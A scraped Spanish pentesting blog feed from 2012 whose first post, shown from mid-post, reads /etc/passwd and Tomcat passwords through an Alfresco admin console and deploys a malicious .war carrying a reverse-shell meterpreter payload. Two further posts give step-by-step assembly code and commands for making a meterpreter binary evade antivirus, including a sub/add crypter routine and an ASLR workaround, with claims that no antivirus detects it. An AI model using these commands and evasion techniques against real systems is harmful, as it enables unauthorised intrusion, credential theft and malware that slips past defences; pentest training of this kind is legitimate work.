La consola más interesante que tenemos es la AVM de la cual dispone de una ayuda en la siguiente url: <a href="http://wiki.alfresco.com/wiki/AVM_Console">http://wiki.alfresco.com/wiki/AVM_Console</a>
</div>
<div class="MsoNormal">
Esta consola permite entre otras cosas leer archivos del
disco, escribir, etc.</div>
<div class="MsoNormal">
Realizando el siguiente comando por ejemplo:</div>
<blockquote class="tr_bq">
<div class="MsoNormal">
<i>cat, sitestore:/etc/passwd</i></div>
</blockquote>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-B2DN0iQsirI/UCYt4tCxkDI/AAAAAAAAAFk/w9sT8Y5oeTY/s1600/consola_de_admin_alfresco.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="http://4.bp.blogspot.com/-B2DN0iQsirI/UCYt4tCxkDI/AAAAAAAAAFk/w9sT8Y5oeTY/s640/consola_de_admin_alfresco.png" width="640" /></a></div>
<br />
<br />
<div class="MsoNormal">
Se lee el fichero /etc/passwd desde las consolas de
administración:</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-iZu7OmQjqxw/UCYuy1cEtXI/AAAAAAAAAF0/Vkr3oyelqbc/s1600/11-08-2012+12-06-45.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="338" src="http://3.bp.blogspot.com/-iZu7OmQjqxw/UCYuy1cEtXI/AAAAAAAAAF0/Vkr3oyelqbc/s640/11-08-2012+12-06-45.png" width="640" /></a></div>
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
De esta manera es posible leer la configuración del servidor
web para al final acceder como administrador del tomcat por ejemplo y subir
nuestro meterpreter:<br />
<br />
Leyendo la configuración del servidor de aplicaciones Tomcat:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-38YjRIuTmb4/UCYvVh2-hEI/AAAAAAAAAF8/8I5LpRm04wc/s1600/passwords_tomcat.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="474" src="http://1.bp.blogspot.com/-38YjRIuTmb4/UCYvVh2-hEI/AAAAAAAAAF8/8I5LpRm04wc/s640/passwords_tomcat.png" width="640" /></a></div>
</div>
<div class="MsoNormal">
Acceso al servidor de aplicaciones como administrador:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-yCEE8v8EVYk/UCYv3agu38I/AAAAAAAAAGE/KhUk2ksAlr4/s1600/manager_tomcat.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="390" src="http://1.bp.blogspot.com/-yCEE8v8EVYk/UCYv3agu38I/AAAAAAAAAGE/KhUk2ksAlr4/s640/manager_tomcat.png" width="640" /></a></div>
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
Y ya solo nos falta subir un meterpreter gracias al modulo de metasploit "exploit/multi/http/tomcat_mgr_deploy". Pero vamos a ver la forma de hacerlo manualmente por si alguna vez nos da problema dicho módulo:<br />
<br />
Para ello lo que vamos a crear es un .war malicioso que nos valdrá tanto para JBOSS como para TOMCAT, GLASSFISH y cualquier servidor de aplicaciones que trabaje con .war:<br />
<br />
Con el siguiente comando se crea una shell reversa por si acaso hubiera firewall pero en un fichero .war:<br />
<br />
<blockquote class="tr_bq">
msfpayload windows/meterpreter/reverse_tcp W > /test.war</blockquote>
<br />
Dejamos escuchando un multihandler para cuando realize la conexión inversa:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-nqDA-NmiTwk/UCY5xpebiZI/AAAAAAAAAG4/1eWvbZ2KUR0/s1600/multi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="336" src="http://2.bp.blogspot.com/-nqDA-NmiTwk/UCY5xpebiZI/AAAAAAAAAG4/1eWvbZ2KUR0/s400/multi.png" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-OgbPImJv4xA/UCY1WPJIL4I/AAAAAAAAAGU/-ba8I2K8E6k/s1600/creando_war1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
Una vez tenemos el war ya creado lo descomprimimos para ver la estructura que tiene por si quisieramos generar uno manualmente aunque en principio no hace falta:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-wqsDL26-3FU/UCY2T7BjO3I/AAAAAAAAAGc/pnV27bh7ipo/s1600/test.war.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="286" src="http://3.bp.blogspot.com/-wqsDL26-3FU/UCY2T7BjO3I/AAAAAAAAAGc/pnV27bh7ipo/s640/test.war.png" width="640" /></a></div>
</div>
<div class="MsoNormal">
<br />
Como vemos en la imagen anterior tenemos dos ficheros y el que debemos ejecutar es el jsp, por lo que nos apuntamos el nombre, ya que posteriormente nos hará falta (también podríamos cambiárselo a gusto del auditor)<br />
<br />
Lo único que nos queda es subirlo en el servidor de aplicaciones Tomcat por ejemplo a través de su funcionalidad de desplegar aplicaciones:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-w427lXqgBy4/UCY3MtPNwcI/AAAAAAAAAGk/OSGZ0do0LX0/s1600/desplegar+war.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="444" src="http://2.bp.blogspot.com/-w427lXqgBy4/UCY3MtPNwcI/AAAAAAAAAGk/OSGZ0do0LX0/s640/desplegar+war.png" width="640" /></a></div>
</div>
<div class="MsoNormal">
<br />
Una vez que lo tenemos desplegado podemos ejecutarlo en el navegador haciendo click en el simplemente y nos llevara a una pagina de NOT FOUND. Todo esta bien, ahora lo único que debemos hacer es atacar directamente al recurso que apuntamos anteriormente cuando descomprimimos el fichero war y se conectara a nosotros:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-BXy6PmQeuJo/UCY7lyAXJEI/AAAAAAAAAHA/19MH4CdqDCU/s1600/meterpreter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="536" src="http://3.bp.blogspot.com/-BXy6PmQeuJo/UCY7lyAXJEI/AAAAAAAAAHA/19MH4CdqDCU/s640/meterpreter.png" width="640" /></a></div>
<br />
¿ Y que pasaría si el servidor no disponde de salida a internet? Lo veremos más adelante. <br />
<br />
Un saludo¡</div>REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com1tag:blogger.com,1999:blog-694521803021083340.post-8726199845653042932012-08-05T16:59:00.000-07:002012-08-05T17:09:19.477-07:00Manipulación manual de binarios para evasión de antivirus (II) ASLR<br />
En los sistemas más modernos como Windows 7 tenemos ASLR, una protección del sistema operativo que genera de forma aleatoria 2 bytes de la dirección de memoria.Debido a esto, el binario que modificamos anteriormente en<br />
(<a href="http://realpentesting.blogspot.com.es/2012/08/es-habitual-escuchar-en-muchas-empresas.html" target="_blank">Manipulacion de binarios para evasión de antivirus I</a> ) no funciona.<br />
<br />
En nuestra rutina de descifrado tenemos las direcciones de memoria "hardcodeadas" por lo que si probamos a reiniciar, la ejecución del binario fallará por violación de acceso al utilizar esas direcciones de memoria.<br />
<br />
Se debe tener en cuenta que ASLR afecta a los 2 primeros bytes de dirección de memoria, es decir, según las direcciones de memoria de nuestro anterior binario, sería XXXX1137 por ejemplo, siendo XXXX los bytes que cambian en cada reinicio del sistema.<br />
<br />
<br />
rutina de descifrado:<br />
<br />
<pre class="brush: js">00401137 B8 06104000 MOV EAX,met.00401006 <- Aqui es donde tenemos el problema
0040113C ADD BYTE PTR DS:[EAX],69
0040113F 40 INC EAX
00401140 3D 36114000 CMP EAX,met.00401136 <- Aqui es donde tenemos el mismo problema
00401145 ^7E F5 JLE SHORT met.0040113C
00401147 FC CLD
00401148 E8 57FFFFFF CALL met.004010A4
0040114D -E9 AAFEFFFF JMP met.00401006
</pre>
<br />
Si nos fijamos en los opcodes (2º columna) vemos claramente donde estamos indicando las zonas de memoria de forma absoluta ( B8 06104000 en la primera instrucción por ej).<br />
<br />
<br />
Para solucionar esto, debemos encontrar la forma poder hacer la misma rutina dinamicamente.Si abrimos con olydbg en win7 nuestro ejecutable con el código cifrado y la rutina de descifrado (met_xp_2.exe)<br />
nos encontramos:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-6qyOw36JF5M/UB8Eag2Hz8I/AAAAAAAAAEM/fNB4gOtPzik/s1600/met_7_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="264" src="http://2.bp.blogspot.com/-6qyOw36JF5M/UB8Eag2Hz8I/AAAAAAAAAEM/fNB4gOtPzik/s640/met_7_1.jpg" width="640" /></a></div>
<br />
<br />
Como vemos, lo primero que hace es entrar en ntdll , si vamos avanzando pulsando F7 vemos como entra en el kernel32.BaseThreadInitThunk:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-x9_NctQ2SrU/UB8EjvaAoVI/AAAAAAAAAEU/3ckQhPKkX58/s1600/met_7_2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="158" src="http://3.bp.blogspot.com/-x9_NctQ2SrU/UB8EjvaAoVI/AAAAAAAAAEU/3ckQhPKkX58/s640/met_7_2.jpg" width="640" /></a></div>
Dentro de kernel32.BaseThreadInitThunk vemos como en el registro EDX queda guardado el entrypoint de nuestro binario y con el CALL EDX entra en nuestro entrypoint :<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-9Yz8TJUwxx4/UB8E1XKeo0I/AAAAAAAAAEc/tWJcxekQwv8/s1600/met_7_3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="156" src="http://1.bp.blogspot.com/-9Yz8TJUwxx4/UB8E1XKeo0I/AAAAAAAAAEc/tWJcxekQwv8/s640/met_7_3.jpg" width="640" /></a></div>
Una vez estamos en el entrypoint de nuestro binario, podemos ver que seguimos teniendo en EDX la dirección de nuestro entrypoint y esto vamos a poder utilizarlo para solucionar el problema de ASLR:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-tABvyx0MHKw/UB8FCxi6BLI/AAAAAAAAAEk/GQRZMfL1sGk/s1600/met_7_4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="158" src="http://3.bp.blogspot.com/-tABvyx0MHKw/UB8FCxi6BLI/AAAAAAAAAEk/GQRZMfL1sGk/s640/met_7_4.jpg" width="640" /></a></div>
Lo que en este caso haremos es modificar la rutina de descifrado de la siguiente manera:<br />
<br />
<pre class="brush: js">009A1141 > 8BC2 MOV EAX,EDX <- Metemos en EAX , EDX que es el entrypoint
009A1143 . 83C0 06 ADD EAX,6 <- Sumamos 6 a EAX por lo tanto EAX = entrypoint + 6 que es donde queremos empezar a descifrar (en la otra rutina 00401006)
009A1146 ADD BYTE PTR DS:[EAX],69 <- Sumamos 69 al contenido de EAX
009A1149 . 40 INC EAX <- Incrementamos EAX
009A114A . 66:3D 4011 CMP AX,1136 <- Comparamos los 2 ultimos bytes del registro EAX (AX) con 1136 que es donde finaliza nuestro codigo cifrado.(XXXX1136)
009A114E . 90 NOP <- NOP que no hace nada
009A114F .^7E F5 JLE SHORT sysupdat.009A1146 <- JLE para el bucle
009A116B . FC CLD
009A116C E8 57FFFFFF CALL met_7.003D10A4
009A1171 E9 B4FEFFFF JMP met_7.003D1006
</pre>
<pre class="brush: js"></pre>
De esta forma , nos evitamos el problema del ASLR, ya no necesitamos utilizar direcciones de memoria absolutas, con haber conseguido que en EDX apunte a nuestro entrypoint, nos las hemos<br />
apañado para conseguirlo.<br />
<br />
Vemos como queda la rutina en Olly:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-gPAxINdApj0/UB8FmpzwZFI/AAAAAAAAAEs/qY-BkfogdSg/s1600/met_7_5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="158" src="http://1.bp.blogspot.com/-gPAxINdApj0/UB8FmpzwZFI/AAAAAAAAAEs/qY-BkfogdSg/s640/met_7_5.jpg" width="640" /></a></div>
Guardamos en un nuevo fichero y ya tenemos nuestro binario de meterpreter para sistemas con ASLR.<br />
<br />
Y por supuesto, ningún antivirus lo detecta (al menos todos los que hemos probado) y el binario se ejecuta correctamente para obtener el meterpreter reverso.<br />
<br />
Mas adelante podremos ver como usar estos binarios de meterpreter de forma ingeniosa en auditorias de ingeniería social.<br />
<br />
Saludos!REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com0tag:blogger.com,1999:blog-694521803021083340.post-59496463548105778102012-08-02T05:55:00.000-07:002012-08-05T17:12:29.627-07:00Manipulación manual de binarios para evasión de antivirus (I)Es habitual escuchar en muchas empresas que con un antivirus ya se esta protegiendo bastante a los equipos de los empleados frente a binarios maliciosos.<br />
En esta entrada, vamos a ver como un payload de metasploit (meterpreter) que es bastante conocido por los antivirus, puede hacerse totalmente indetectable prácticamente por cualquier antivirus manipulando su código en ensamblador.No apto para script kiddies !<br />
<br />
No utilizamos los encoders de meterpreter por que como todos sabemos actualmente muy pocos AV no los detectan.<br />
<br />
Lo primero vamos a generar nuestro meterpreter en formato raw:<br />
<br />
<blockquote class="tr_bq">
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
<i><b>./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R > meterpreter_raw</b></i></div>
</blockquote>
<br />
Después, desensamblamos el meterpreter con disassemble.rb de metasploit:<br />
<br />
<blockquote class="tr_bq">
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
<i><b>root@bt:/pentest/exploits/framework# pwd</b></i></div>
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
<i><b>/pentest/exploits/framework</b></i></div>
</blockquote>
<blockquote class="tr_bq">
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
<i><b>ruby -I lib/metasm/ lib/metasm/samples/disassemble.rb meterpreter_raw > meterpreter.asm</b></i></div>
</blockquote>
<span style="font-family: "Courier New",Courier,monospace;"><span style="background-color: white;"></span></span><br />
En meterpreter.asm ya tenemos el código en ensamblador del primer stage del meterpreter.Como se puede ver no es mucho código, ya que el primer stage es pequeño.Vamos a intentar modificar el código para intentar que los antivirus no lo detecten.<br />
<br />
Para modificar el código, debemos jugar con registros pero con cuidado no vayamos a romper el flujo de ejecución.Tenemos que saber bien que es lo que hacemos.Lo ideal es buscar en el código lineas como xor eax,eax (poner a cero el registro EAX) y sabemos que antes de esta instrucción deberíamos poder jugar con eax para no romper el flujo de ejecución.<br />
<br />
Por ejemplo:<br />
<br />
<pre class="brush: js">// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
xor edi, edi ; @1ch 31ff <-- aquí tenemos un xor
</pre>
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
Cambiamos esta sección quedando así: (jugamos también con ecx y no rompemos el flujo de ejecución)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
<pre class="brush: js">// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
push edi
pop edi
push edi
push edi
push edi
pop edi
pop edi
pop edi
mov edi, ecx
push edi
pop edi
mov edi, ecx
xor ecx, ecx
mov ecx, edi
xor edi, edi ; @1ch 31ff <- el xor de antes
</pre>
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
Podemos probar a cambiar mas secciones del código del primer stage, cuando mas cambiemos , en teoría mas dificultades tendrá el AV de detectarlo.<br />
<br />
Al principio del fichero .asm hay que añadir la seccion .text y el entrypoint:<br />
<br />
<pre class="brush: js">.section '.text' rwx
.entrypoint
</pre>
<br />
Utilizamos la utilidad peencode.rb de metasploit para generar el fichero PE.<br />
<br />
<blockquote class="tr_bq">
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
<i><b>ruby -I lib/metasm/ lib/metasm/samples/peencode.rb meterpreter.asm -o met.exe</b></i></div>
</blockquote>
<br />
Como podéis comprobar algunos AV ya nos los saltamos, otros no, como AVAST.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-ykApQoadAuY/UBpqlIimnzI/AAAAAAAAABA/6Q_5JG5w02I/s1600/deteccion_avast.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="186" src="http://3.bp.blogspot.com/-ykApQoadAuY/UBpqlIimnzI/AAAAAAAAABA/6Q_5JG5w02I/s320/deteccion_avast.jpg" width="320" /></a></div>
<br />
<br />
Bien, para hacerlo aún mas indetectable, vamos a manipular el .exe con ollydbg.<br />
<br />
Así nos encontramos el met.exe nada mas abrirlo con el olly:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="308" src="http://4.bp.blogspot.com/-_TfFGq8l7HQ/UBpsG9ei17I/AAAAAAAAABQ/NHO3cn5im2Q/s640/met_xp_1.jpg" width="640" /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
Buscamos en el binario una zona que podamos añadir código, la localizamos un poco mas abajo, nos apuntamos la dirección de memoria:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Brw_GaWahcw/UBpy_KpsrHI/AAAAAAAAABs/8yNBQslrPf8/s1600/met_xp_2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="402" src="http://4.bp.blogspot.com/-Brw_GaWahcw/UBpy_KpsrHI/AAAAAAAAABs/8yNBQslrPf8/s640/met_xp_2.jpg" width="640" /></a></div>
<br />
<div>
<div>
Sustituimos la primera instrucción por un jmp a la dirección de memoria anotada:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-wNZgWE88Y6I/UBp22QizbBI/AAAAAAAAACE/Dpwm9JkJK6s/s1600/met_xp_3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="328" src="http://1.bp.blogspot.com/-wNZgWE88Y6I/UBp22QizbBI/AAAAAAAAACE/Dpwm9JkJK6s/s640/met_xp_3.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
Hay que tener en cuenta que el jmp ocupa mas opcodes que la primera instrucción que tiene met.exe (instrucción CLD ) por lo que la siguiente instrucción (CALL 004010A4) desaparece también por lo que tenemos que anotarnos el CLD y el CALL para luego ejecutarlos y continuar con el correcto flujo de ejecución. Nos guardamos el CLD y el CALL en un txt.</div>
<div>
<br /></div>
<div>
Ahora, donde hemos saltado con el jmp del entrypoint, pondremos nuestra rutina de cifrado.Vamos a cifrar todo el código desde después de la dirección(00401006) de nuestro jump que salta a la rutina de cifrado hasta justo antes de empezar la rutina de cifrado(00401136).Efectivamente, estamos "hardcodeando" las direcciones de memoria por lo que con un sistema con ASLR como Win7 no funcionaría, pero lo solucionaremos más adelante.</div>
<div>
<br /></div>
<div>
Haremos una sencilla resta de 69 en hexadecimal a cada opcode, y luego para descifrarlo haremos la suma de 69.</div>
<div>
<br /></div>
<div>
Rutina de cifrado:</div>
<div>
<br /></div>
<div>
<pre class="brush: js">00401137 MOV EAX,met.00401006 <-- Meto en EAX la direccion de inicio donde empiezo a cifrar
0040113C SUB BYTE PTR DS:[EAX],69 <-- Resto 69 Hx al contenido de la direccion que apunta EAX.
0040113F INC EAX <-- incremento EAX
00401140 CMP EAX,met.00401136 <-- Comparo EAX con la direccion hasta donde quiero cifrar
00401145 JLE SHORT met.0040113C <-- Hasta que no termine sigo con el bucle de cifrado
00401147 CLD <-- Este es el CLD del entrypoint que nos hemos anotado
00401148 CALL met.004010A4 <-- Este es el Call que nos hemos anotado
0040114D JMP met.00401006 <-- Este jump nos vuelve arriba justo despues de nuestro jmp del entrypoint y el binario continua con su correcto flujo de ejecucion
</pre>
<span style="background-color: #cccccc;"></span></div>
<div>
<br /></div>
<div>
Asi queda en el ollydbg:</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-GL29GOGxuag/UBp0G-xSiAI/AAAAAAAAAB0/8o5BqWo27oA/s1600/met_xp_rutina.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="264" src="http://3.bp.blogspot.com/-GL29GOGxuag/UBp0G-xSiAI/AAAAAAAAAB0/8o5BqWo27oA/s640/met_xp_rutina.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<div>
Ahora, abrimos met_xp_1.exe con olly y vemos como en el entrypoint tenemos nuestro JMP.Vamos a ejecutarlo poco a poco, con F7 vamos avanzando y vemos como el JMP se ejecuta y salta abajo a nuestra rutina de cifrado.</div>
<div>
<br />
Según se vaya ejecutando el SUB [EAX],69 del bucle podemos ir viendo como se van modificando las zonas de memoria, para hacerlo mas rápido y del tirón ponemos un breakpoint (F2) en la instrucción justo después del JLE y le damos a F9 para que el bucle se ejecute entero.Si subimos con olly, podemos ver como todo el código ha sido modificado e incluso el olly no es capaz de interpretarlo.En la siguiente imagen podemos ver nuestro jmp en el entrypoint y seguido el código ya cifrado en memoria:</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-p_ZPkUrpem4/UBp1RRPmowI/AAAAAAAAAB8/3iCE-nZ99uE/s1600/met_xp_rutina_2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="262" src="http://1.bp.blogspot.com/-p_ZPkUrpem4/UBp1RRPmowI/AAAAAAAAAB8/3iCE-nZ99uE/s640/met_xp_rutina_2.jpg" width="640" /></a></div>
<div>
<br /></div>
<div>
<div>
Ahora que tenemos el código cifrado en memoria modificamos la rutina de cifrado, para convertirla en rutina de descifrado, para que finalmente lo guardemos en otro fichero.En este fichero final lo que tendremos es el jump del entrypoint que salta a nuestra rutina de descifrado, el código cifrado y la rutina de descifado, que descifrara todo el código y continuara con el flujo de ejecución normal, ejecutandose el primer stage del meterpreter correctamente.</div>
<div>
<br /></div>
<div>
Para convertir la rutina de cifrado en rutina de descifrado simplemente cambiamos el SUB por ADD y guardamos todo de nuevo en otro fichero met_xp_2.exe.</div>
<div>
Lo abrimos con el olly y vamos viendo como se va descifrando , ponemos el breakpoint después del JLE , analizamos el código con olly (botón secundario analysis->analyse code) y vemos que esta todo correcto, ya sigue su ejecución con el CLD y el CALL y el ultimo jump que vuelve justo despues del entrypoint y el primer stage del meterpreter continua ejecutandose correctamente.</div>
</div>
<div>
<br /></div>
<div>
<div>
Comprobamos que el avast ni se entera y por supuesto obtenemos sesión de meterpreter =) </div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-reZHUYYg4DM/UBp4Tn1sMOI/AAAAAAAAACM/bypOF0TiwQI/s1600/met_xp_avast_final.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="178" src="http://4.bp.blogspot.com/-reZHUYYg4DM/UBp4Tn1sMOI/AAAAAAAAACM/bypOF0TiwQI/s320/met_xp_avast_final.jpg" width="320" /></a></div>
<br /></div>
<div>
<br /></div>
<div>
Hemos probado con los antivirus mas famosos y ninguno hasta ahora hemos visto que se entere, si lo detectase alguno, seria cuestión de afinar un poco mas hasta que no fuese detectado.</div>
<div>
<br /></div>
<div>
Y que pasa si queremos ejecutar esto en un sistema Windows7 con ASLR ? No funciona al estar las direcciones de memoria "hardcodeadas" en nuestra rutina de descifrado , mas adelante veremos como solucionarlo.</div>
</div>
<br />
<br />REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com1tag:blogger.com,1999:blog-694521803021083340.post-80940338622612198482012-07-30T04:29:00.000-07:002012-07-30T04:29:45.570-07:00REAL PENTESTINGReal Pentesting nace con la iniciativa de compartir ideas,investigaciones y curiosidades sobre el mundo real del pentesting.También nace como repositorio unificado de sus miembros utilizado como cuaderno de bitácora.<br />
<br />
El objetivo principal de este blog es el CAR:<br />
<br />
Compartir.<br />
Aprender.<br />
Recordar.REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com0